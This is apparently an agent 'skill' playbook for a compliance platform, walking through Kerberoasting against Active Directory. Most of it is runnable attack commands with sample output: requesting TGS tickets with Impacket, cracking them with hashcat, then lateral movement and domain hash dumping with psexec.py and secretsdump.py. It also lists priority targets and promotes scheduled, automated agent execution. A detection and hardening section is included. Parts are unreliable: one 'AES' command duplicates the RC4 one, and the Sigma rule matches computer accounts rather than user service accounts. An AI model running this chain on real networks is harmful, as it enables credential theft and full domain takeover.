Exploiting Kerberoasting with Impacket

Overview

Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's GetUserSPNs.py is the standard tool for Linux-based Kerberoasting attacks.

Prerequisites

• Valid domain credentials (any domain user can request TGS tickets)
• Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP)
• Impacket installed (pip install impacket)
• Hashcat or John the Ripper for offline cracking
• Wordlist (e.g., rockyou.txt, SecLists)

MITRE ATT&CK Mapping

Technique ID	Name	Tactic
T1558.003	Steal or Forge Kerberos Tickets: Kerberoasting	Credential Access
T1087.002	Account Discovery: Domain Account	Discovery
T1110.002	Brute Force: Password Cracking	Credential Access

Step 1: Enumerate Kerberoastable Accounts

# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10

Step 2: Request TGS Tickets

# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

Step 3: Crack TGS Tickets Offline

# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

Step 4: Validate and Use Cracked Credentials

# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

Alternative Tools

Rubeus (Windows)

# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt

PowerView (PowerShell)

Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt

Targeted Kerberoasting

High-value targets for Kerberoasting:

Account Type	Why	Risk
Service accounts in Domain Admins	Direct path to domain compromise	Critical
SQL service accounts (MSSQLSvc)	Often have excessive privileges	High
Exchange service accounts	Access to all email	High
Accounts with AdminCount=1	Previously/currently privileged	High
Accounts with old passwords	More likely to use weak passwords	Medium

Detection

Windows Event Logs

Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs

Sigma Rule

title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

Defensive Recommendations

1. Use Group Managed Service Accounts (gMSA) - 240-character random passwords, auto-rotated
2. Set strong passwords (25+ chars) on all service accounts
3. Enable AES-only encryption - Disable RC4 via GPO
4. Monitor Event ID 4769 for RC4 TGS requests
5. Implement Managed Service Accounts where gMSA is not feasible
6. Regular audits - Run BloodHound to identify Kerberoastable accounts
7. Protected Users group - Add sensitive service accounts
8. Honeypot SPNs - Create decoy accounts with SPNs to detect attacks

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

• SOC 2: CC4.1 (Monitoring & Evaluation), CC7.1 (Monitoring)
• ISO 27001: A.14.2 (Secure Development), A.18.2 (Information Security Reviews)
• NIST 800-53: CA-8 (Penetration Testing), RA-5 (Vulnerability Scanning)
• NIST CSF: ID.RA (Risk Assessment), PR.IP (Information Protection)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add exploiting-kerberoasting-with-impacket

# Or load dynamically via MCP
grc.load_skill("exploiting-kerberoasting-with-impacket")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

• SHA-256 chain hashing ensures no step can be modified after execution
• Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
• Trust score impact — successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

References

• MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
• Impacket: https://github.com/fortra/impacket
• Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
• Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/